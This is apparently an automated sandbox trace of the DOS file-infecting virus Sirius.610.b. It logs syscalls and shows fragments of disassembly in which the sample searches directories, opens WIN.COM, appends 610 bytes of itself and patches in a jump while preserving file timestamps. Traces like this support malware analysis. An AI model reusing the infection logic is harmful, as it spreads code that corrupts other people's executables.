Sample viewer

vx.netlux.org/Virus.DOS.Sirius.610.b

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:05:59.812059528Z 53 PC: 12a79 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:05:59.814055056Z 37 PC: 12a8d | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:05:59.815589235Z 26 PC: 12a94 | Set disk transfer address
2018-12-17T23:05:59.817093027Z 25 PC: 12a98 | Get default drive
2018-12-17T23:05:59.819436899Z 71 PC: 12aa5 | Get current directory
2018-12-17T23:05:59.823787082Z 14 PC: 12abb | Set default drive (Drive = 'C')
2018-12-17T23:05:59.825748008Z 59 PC: 12c45 | Change current directory
2018-12-17T23:05:59.835767384Z 44 PC: 12ac2 | Get time 0x12ac2: shr dl, 1
0x12ac4: shr dl, 1
0x12ac6: add dl, 0x40
0x12ac9: mov byte ptr [bp + 0x220], dl
0x12acd: sub bx, bx
0x12acf: mov ah, 0x4e
0x12ad1: lea dx, word ptr [bp + 0x220]
0x12ad5: mov cx, 0x11
0x12ad8: int 0x21
0x12ada: jae 0x12af7
0x12adc: mov al, byte ptr [bp + 0x220]
0x12ae0: inc al
0x12ae2: cmp al, 0x5a
0x12ae4: jbe 0x12ae8
0x12ae6: sub al, 0x1a
0x12ae8: mov byte ptr [bp + 0x220], al
0x12aec: inc bh
0x12aee: cmp bh, 0x1b
0x12af1: je 0x12aa5
0x12af3: jmp 0x12acf
2018-12-17T23:05:59.840145971Z 78 PC: 12ada | Find first file
2018-12-17T23:05:59.846400159Z 78 PC: 12ada | Find first file
2018-12-17T23:05:59.853123648Z 78 PC: 12ada | Find first file
2018-12-17T23:05:59.859799534Z 78 PC: 12ada | Find first file
2018-12-17T23:05:59.872666914Z 78 PC: 12ada | Find first file
2018-12-17T23:05:59.879053695Z 78 PC: 12ada | Find first file
2018-12-17T23:05:59.887653786Z 78 PC: 12ada | Find first file
2018-12-17T23:05:59.894218906Z 78 PC: 12ada | Find first file
2018-12-17T23:05:59.900526771Z 59 PC: 12afe | Change current directory
2018-12-17T23:05:59.911251029Z 78 PC: 12b09 | Find first file
2018-12-17T23:05:59.920931931Z 67 PC: 12b65 | Get or set file attributes
2018-12-17T23:05:59.927401622Z 67 PC: 12b72 | Get or set file attributes
2018-12-17T23:06:00.266089957Z 61 PC: 12b7a | Open file (Filename = 'WIN.COM')
2018-12-17T23:06:00.273627507Z 87 PC: 12b80 | Get or set file date and time
2018-12-17T23:06:00.275235578Z 44 PC: 12b93 | Get time 0x12b93: or dx, dx
0x12b95: je 0x12b8f
0x12b97: mov word ptr [bp + 0x255], dx
0x12b9b: mov ah, 0x3f
0x12b9d: lea dx, word ptr [bp + 0x217]
0x12ba1: mov cx, 3
0x12ba4: int 0x21
0x12ba6: mov ax, 0x4202
0x12ba9: sub cx, cx
0x12bab: cdq
0x12bac: int 0x21
0x12bae: sub ax, 3
0x12bb1: mov word ptr cs:[0xfa79], ax
0x12bb5: mov byte ptr cs:[0xfa78], 0xe9
0x12bbb: nop
0x12bbc: nop
0x12bbd: nop
0x12bbe: lea si, word ptr [bp - 5]
0x12bc1: mov di, 0xfb2c
0x12bc4: mov cx, 0x262
2018-12-17T23:06:00.278102405Z 63 PC: 12ba6 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:06:00.2845838Z 66 PC: 12bae | Move file pointer
2018-12-17T23:06:00.286483236Z 64 PC: 12bda | Write file or device (Write 610 bytes on handle 5)
2018-12-17T23:06:00.294550535Z 66 PC: 12be2 | Move file pointer
2018-12-17T23:06:00.296732397Z 64 PC: 12bec | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:06:00.299648049Z 87 PC: 12c01 | Get or set file date and time
2018-12-17T23:06:00.30115782Z 62 PC: 12c05 | Close file
2018-12-17T23:06:00.308704817Z 67 PC: 12c12 | Get or set file attributes
2018-12-17T23:06:00.320210499Z 14 PC: 12c4f | Set default drive (Drive = 'A')
2018-12-17T23:06:00.32215794Z 59 PC: 12c45 | Change current directory
2018-12-17T23:06:00.32719521Z 59 PC: 12c57 | Change current directory
2018-12-17T23:06:00.328981882Z 37 PC: 12c2b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:06:00.330041653Z 26 PC: 12c33 | Set disk transfer address